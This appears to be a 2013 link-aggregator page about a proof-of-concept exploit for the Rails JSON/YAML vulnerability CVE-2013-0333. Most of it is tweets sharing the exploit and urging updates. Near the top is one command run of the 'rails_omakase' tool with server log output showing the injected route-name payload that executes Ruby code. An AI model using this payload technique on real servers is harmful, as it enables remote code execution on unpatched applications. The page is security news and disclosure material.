Rails PoC exploit for CVE-2013-0333. #rails

Ronin - Rails PoC exploit for CVE-2013-0333

Rails PoC exploit for CVE-2013-0333. #rails

$ rails_omakase http://localhost:3000/secrets "puts 'lol'" lol Started POST "/secrets" for 127.0.0.1 at 2013-01-28 18:53:18 -0800 Processing by SecretsController#show as Parameters: {"_json"=>#<ActionDispatch::Routing::RouteSet::NamedRouteCollection:0x00000002221080 @routes={:"foo\nend\n(puts 'lol'; @executed = true) unless @executed\n__END__\n"=>#<struct defaults={:action=>"create", :controller=>"foos"}, required_parts=[], requirements={:action=>"create", :controller=>"foos"}, segment_keys=[:format]>}, @helpers=[:"hash_for_foo\nend\n(puts 'lol'; @executed = true) unless @executed\n__END__\n_url", :"foo\nend\n(puts 'lol'; @executed = true) unless @executed\n__END__\n_url", :"hash_for_foo\nend\n(puts 'lol'; @executed = true) unless @executed\n__END__\n_path", :"foo\nend\n(puts 'lol'; @executed = true) unless @executed\n__END__\n_path"], @module=#<Module:0x00000002220fb8>>} ...

Full article: http://ronin-ruby.github.com/blog/2013/01/28/new-rails-po...

Tweets

@TDKPS » 16 Feb '13, 5pm
RT @dguido: .@postmodern_mod3 getting a shoutout from @sergeybratus and co. for his analysis of the YAML/Rails bugs #shmoocon [link]
@dguido » 16 Feb '13, 5pm
.@postmodern_mod3 getting a shoutout from @sergeybratus and co. for his analysis of the YAML/Rails bugs #shmoocon [link]
@maradydd » 11 Feb '13, 7pm
@tunixman @jcoglan So I mean, JSON lets you create arbitrary objects too, but the problem as I understand it from [link] is...
@fatrat » 02 Feb '13, 8pm
PoC code for the Rails vuln https://t.co/3Iudm1Or + discussion [link]
@rafaelcr » 31 Jan '13, 2am
@rod_wilhelmy al tiro! (de nuevo) [link]
@dephzon » 30 Jan '13, 7pm
RT @duritong: update your rails instances once again [link] https://t.co/0MJ7Y5x7 #rails #security
@cl0p3z » 30 Jan '13, 7pm
Another week and another remote code execution vulnerability on rails [link] CVE-2013-0333 This starts to be scary #rails #ror
@lenn4rd » 30 Jan '13, 5pm
Puh. [link] [link]
@duritong » 30 Jan '13, 5pm
update your rails instances once again [link] https://t.co/0MJ7Y5x7 #rails #security
@LiviuArsene » 30 Jan '13, 9am
Rails PoC exploit: [link] Same YAML vulnerability, different code-path
@rails_rt_ja » 30 Jan '13, 5am
RT @kinyuka: おまかせﾜﾛｯｼｭ [link]
@kinyuka » 30 Jan '13, 4am
おまかせﾜﾛｯｼｭ [link]
@Sebdraven » 29 Jan '13, 10pm
RT @jedisct1: RT @bl4sty: Analysis and exploit for new RoR vuln : [link] Awesome job by @postmodern_mod3 !
@nv1t » 29 Jan '13, 7pm
RT @blubbfiction: RoR PoC exploit for CVE-2013-0333 - [link] - such conversions as described here are a good base to shoot yourself in the foot
@blubbfiction » 29 Jan '13, 7pm
RoR PoC exploit for CVE-2013-0333 - [link] - such conversions as described here are a good base to shoot yourself in the foot
@kennwhite » 29 Jan '13, 7pm
“I named this exploit rails_omakase.rb, as an ode to 'Rails Is Omakase' - @postmodern_mod3” [link] via @bl4sty @Raaka_Elgupo
@Glesec » 29 Jan '13, 4pm
#Rails #PoC #Exploit for CVE-2013-0333 | Ronin [link] #RoR #RCE
@AaronM » 29 Jan '13, 2pm
That’s good filename trolling. [link]
@abhinavbom » 29 Jan '13, 1pm
RT @xanda: RT @antisnatchor: “@bl4sty: Analysis and exploit for new RoR vuln : [link] Awesome job by @postmodern_mod3 !” < nice one
@nikcub » 29 Jan '13, 1pm
Another vuln and poc exploit in the YAML serializer in Ruby on Rails. affects v2.3.x and 3.x: [link]
@quequero » 29 Jan '13, 12pm
Rails PoC exploit for CVE-2013-0333: [link] /via @Gunther_AR
@thegrugq » 29 Jan '13, 11am
RT @antisnatchor: “@bl4sty: Analysis and exploit for new RoR vuln : [link] Awesome job by @postmodern_mod3 !” < nice one
@antisnatchor » 29 Jan '13, 11am
“@bl4sty: Analysis and exploit for new RoR vuln : [link] Awesome job by @postmodern_mod3 !” < nice one
@ziromr » 29 Jan '13, 11am
RT @bl4sty: Analysis and exploit for new RoR vuln : [link] Awesome job by @postmodern_mod3 !
@bl4sty » 29 Jan '13, 11am
Analysis and exploit for new RoR vuln : [link] Awesome job by @postmodern_mod3 !
@c4nc » 29 Jan '13, 9am
New Rails CVE-2013-0333 PoC exploit: https://t.co/ZadJlRzG Also read the great articole of Ronin: [link]
@bruinbrown93 » 29 Jan '13, 9am
[link] another rails vulnerability. Once again remote code execution through the yaml parser.
@b00giZm » 29 Jan '13, 7am
I guess Rails just can't get a break. [link]
@TibshoOT » 29 Jan '13, 6am
RT @harisec: [link] #rails is the new #php
@postmodern_mod3 » 29 Jan '13, 6am
RT @ronin_ruby: [link] Rails PoC exploit for CVE-2013-0333. #rails
@ronin_ruby » 29 Jan '13, 6am
[link] Rails PoC exploit for CVE-2013-0333. #rails
@postmodern_mod3 » 29 Jan '13, 6am
@OSVDB @jjarmoc w00t @github pages finally rendered the blog post. [link]
@rubenthijssen » 29 Jan '13, 6am
RT @ronin_ruby: [link] Rails PoC exploit for CVE-2013-0333. #rails
@psanford » 29 Jan '13, 6am
RT @ronin_ruby: [link] Rails PoC exploit for CVE-2013-0333. #rails
@8bsn » 29 Jan '13, 6am
RT @ronin_ruby: [link] Rails PoC exploit for CVE-2013-0333. #rails

Ronin - Rails PoC exploit for CVE-2013-0333

Rails PoC exploit for CVE-2013-0333. #rails

Tweets

who was the joker that did this? @postmodern_mo...

Weitere kritische Lücke in Ruby on Rails geschl...

Weitere kritische Lücke in Ruby on Rails geschl...

[remote] - Ruby on Rails JSON Processor YAML De...

Some Versions of Ruby on Rails Vulnerable to Ne...

Ruby on Rails の JSON 解析処理に脆弱性

「Ruby on Rails」に深刻な脆弱性 - 今月2度目のアップデート: 2013/01/28

Do you know how to setup Paypal Payflow in Rails?

#Ruby #On #Rails Rails: How do you access the v...

#UK [contract] Ruby on Rails Developer - Contra...

Your Net Works, Inc.: Ruby Rails Developer: Loc...

AppAcademy (Ruby on Rails) bootcamp & landing j...

the best source for information on rails plural...

Ruby on Rails Study Guide: The History of Rails

New Job Alert: Ruby on Rails Developer at Strat...